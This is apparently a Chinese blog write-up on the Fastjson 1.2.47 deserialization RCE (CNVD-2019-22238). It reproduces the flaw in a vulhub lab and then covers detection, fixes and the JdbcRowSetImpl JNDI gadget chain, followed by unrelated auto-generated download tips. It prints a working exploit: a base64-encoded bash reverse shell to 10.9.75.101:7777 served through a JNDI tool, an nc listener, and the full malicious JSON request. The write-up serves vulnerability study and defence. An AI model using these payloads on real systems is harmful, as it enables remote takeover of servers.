【漏洞库】Fastjson_1.2.47_rce

漏洞描述

Fastjson是阿里巴巴公司开源的一款json解析器,其性能优越,被广泛应用于各大厂商的Java项目中。fastjson于1.2.24版本后增加了反序列化白名单,而在1.2.48以前的版本中,攻击者可以利用特殊构造的json字符串绕过白名单检测,成功执行任意命令。

漏洞编号

CNVD-2019-22238

漏洞评级

严重

影响版本

< Fastjson 1.2.47 及之前的版本

漏洞复现

- 利用工具

链接:https://pan.baidu.com/s/1KEl1Z9Z3hWXKtENLxSE1wg?pwd=yuan 

- 漏洞环境

vulhub的靶场环境:vulhub/fastjson/1.2.47-rce](https://github.com/vulhub/vulhub/tree/master/fastjson/1.2.24-rce)

运行测试环境:

docker compose up -d

环境运行后,访问http://your-ip:8090即可看到JSON格式的输出:

image-20230908172805694

- 漏洞扫描

手工主动测试,利用非法json格式来尝试获取回显:

如图我们可以看到,服务端返回报错内容中包含fastjson。

- 漏洞验证

借助DNSLog,让目标服务器访问,查看回显

image-20230908172442160

发现有回显,说明存在漏洞

image-20230908172408509

- 深度利用

使用JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar 工具开启JNDI服务:

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC45Ljc1LjEwMS83Nzc3IDA+JjE=}|{base64,-d}|{bash,-i}" -A "10.9.75.101"

以下命令的解释:

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC45Ljc1LjEwMS83Nzc3IDA+JjE=}|{base64,-d}|{bash,-i}

这是一个在bash shell中执行的命令,它涉及到了bash、echo、base64和管道操作符。首先,{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC45Ljc1LjEwMS83Nzc3IDA+JjE=}部分将字符串YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC45Ljc1LjEwMS83Nzc3IDA+JjE=作为参数传给echo命令,然后输出。接着,输出被传递给base64 -d进行解码,最后解码的结果再传递给bash -i进行执行。其中,{bash,-i}部分表示使用交互模式运行bash

其中的base64编码是通过这个网站进行编码的:https://ares-x.com/tools/runtime-exec/

编码过程如图:

image-20230908173611333

执行开启服务的命令之后,如图所示,表示已经开启了不同java版本的rmi服务与ldap服务:

image-20230908173808090

- GetShell

kali开启监听:

nc -lvvp 7777

发送请求包:

POST / HTTP/1.1
Host: 10.9.75.101:8090
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5672.93 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/json
Content-Length: 261

{
    "a":{
        "@type":"java.lang.Class",
        "val":"com.sun.rowset.JdbcRowSetImpl"
    },
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"ldap://10.9.75.101:1389/zbcmsg",
        "autoCommit":true
    }
}

image-20230908174059606

发送之后,可以看到kali已经获得反弹Shell

image-20230908174134695

- EXP 编写

这里直接使用JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar-C 参数指定EXP(这里的EXP使用反弹shell),不过这个EXP需要通过base64编码:

bash -i >& /dev/tcp/10.9.75.101/7777 0>&1

通过网站在线编码:

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC45Ljc1LjEwMS83Nzc3IDA+JjE=}|{base64,-d}|{bash,-i}

其中的base64编码是通过这个网站进行编码的:https://ares-x.com/tools/runtime-exec/

编码过程如图:

image-20230908173611333

将以上编码结果交给 -C参数,再使用 -A参数指定JNDI服务所处的服务器IP地址,执行jar包之后就会生成EXP并且将EXP放置JNDI服务中。

漏洞挖掘

- 寻找入口点

  1. 找到发送JSON序列化数据的接口

  2. 判断是否使用fastjson,利用非法json格式来尝试获取回显:

    如图我们可以看到,服务端返回报错内容中包含fastjson。

  3. 通过BP插件检测该fastjson版本是否存在漏洞

    https://github.com/zilong3033/fastjsonScan
    

    下载插件导入BP

    抓包发送到插件进行检测:

    在这里插入图片描述

如下检测结果:存在漏洞

image-20230908182543255

- 指纹信息

通过异常json输入之后的响应回显,判断是否使用fastjson

修复建议

- 漏洞修复

  1. 升级Fastjson到最新版

  2. 使用安全产品过滤非法内容

    比如请求包中如果出现了JdbcRowSetImpl,就可以把他拦住。
    
  3. 更换其它序列化工具 Jackson/Gson

漏洞原理

不同版本的fastjson其实就是对一些输入的数据进行了校验等操作,绕过校验之后底层的利用链还是一样的。以下是fastjson反序列化漏洞的本质:

  1. 由于将JSON数据进行反序列化的时候会自动调用方法中的 get/set/is方法。

  2. 所以如果有方法在自动调用get/set/is方法的时候能访问远程资源,那么就可以借助这个方法完成利用。

  3. 很巧的是,JDK8中恰好有个JdbcRowSetlmpl类,里面就有 set方法 setAutoCommit,这个方法里面调用了connect方法,connect方法里面又具有JNDI的lookup方法,lookup方法里面传的恰好又是get方法,所以我们可以编写一个payload,利用@type指定要序列化的类,然后指定一些要反序列化的属性,即可完成利用链,接下来就看利用链中的源码:

  4. 利用JdbcRowSetlmpl类中的方法setAutoCommit()

    image-20230716150420480

  5. 进入connect方法:

    image-20230716150603925

    我们可以看到connect方法中具有JNDI的lookup方法,lookup是JNDI用于查找资源的方法,里面传的参数是dataSourceName,所以我们可以在payload的json字符串中传入这个参数dataSourceName,并且指定他的 值为我们的RMI服务或者其他服务,lookup就会到我们指定的服务中下载恶意代码并执行。

    为什么下载我们的EXP后会自动执行呢?

    因为我们的exp具有静态代码块或者构造方法,当程序创建实例的时候,就会自动触发构造方法或者静态代码块的内容。

    如下图中的NamingManager类,其中利用反射创建实例,然后就直接触发恶意代码中的静态代码块内容,从而让我们利用。

    image-20230715133800679

  • 2
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
### 回答1: 要下载Fastjson-1.2.47,您可以按照以下步骤进行: 1. 打开您喜欢使用的浏览器,例如谷歌浏览器,火狐浏览器等。 2. 在搜索栏中输入"Fastjson-1.2.47下载",点击搜索按钮。 3. 在搜索结果中,您可能会找到许多网站提供的Fastjson-1.2.47的下载链接。选择一个您信任的官方网站,或者选择一些广受好评的下载站点。 4. 点击您选择的下载链接,进入Fastjson-1.2.47的下载页面。 5. 在下载页面上,您可能会看到一些说明和选项。根据您的需求,选择适当的选项,例如下载版本(如果有多个版本提供),下载平台等。 6. 点击"下载"按钮,开始下载Fastjson-1.2.47。 7. 下载完成后,找到下载的文件。通常情况下,它会保存在您的计算机的默认下载文件夹中。 8. 双击下载的文件,运行安装程序。按照提示完成安装过程。 9. 安装完成后,您现在可以使用Fastjson-1.2.47进行开发和其他操作了。 请注意,在任何时候下载软件时,要确保从可信的来源下载软件,并在安装之前使用杀毒软件进行扫描,以确保安全性。 ### 回答2: fastjson-1.2.47是一个用于Java编程语言的JSON(JavaScript Object Notation)解析器和生成器。它可以将Java对象转换为JSON格式的字符串,并将JSON字符串转换为对应的Java对象。要下载fastjson-1.2.47,您可以按照以下步骤进行操作: 1. 打开一个网页浏览器,进入fastjson的官方下载页面。 2. 在页面上找到fastjson-1.2.47的下载链接,并单击它。 3. 选择您希望将fastjson-1.2.47下载到的位置。这可以是您的计算机上的任何文件夹或目录。 4. 单击“下载”按钮开始下载fastjson-1.2.47。 5. 等待下载完成。下载速度取决于您的互联网连接速度和下载文件的大小。 6. 下载完成后,在您选择的目标位置找到下载的fastjson-1.2.47文件。 7. 可能需要解压缩fastjson-1.2.47文件(如果下载的是压缩包)。您可以使用解压缩软件(如WinRAR或7-Zip)来执行此操作。 8. 现在,您可以在您的Java项目中使用fastjson-1.2.47了。将fastjson的JAR文件添加到您的项目构建路径中,并根据fastjson的文档或示例代码来使用它。 通过按照上述步骤下载并使用fastjson-1.2.47,您将能够在您的Java项目中轻松地解析和生成JSON数据。 ### 回答3: 要下载fastjson-1.2.47,可以按照以下步骤进行操作: 1. 打开浏览器,进入fastjson的官方网站。 2. 在网站的顶部导航栏或页面中找到“下载”选项,并点击进入下载页面。 3. 在下载页面中,找到fastjson-1.2.47版本的下载链接,一般会以类似于“Download JSON-1.2.47”的形式呈现。 4. 点击下载链接,浏览器将开始下载fastjson-1.2.47的压缩包(通常为zip或tar.gz格式)。 5. 下载完成后,解压缩该压缩包到指定的目录中。 6. 接下来,可以根据需要将fastjson-1.2.47导入到项目中。可以使用IDE,如Eclipse或IntelliJ IDEA,在项目中创建一个新的,并将解压后的fastjson文件夹添加到该中;或者直接将fastjson的jar文件添加到项目的classpath中。 7. 确保正确导入fastjson后,即可开始使用fastjson-1.2.47进行JSON数据的处理和操作。 总结:要下载fastjson-1.2.47,首先访问fastjson的官方网站,找到下载页面并下载该版本的压缩包。然后解压缩,并将其导入到项目中,即可开始使用fastjson-1.2.47
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

yuan_boss

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值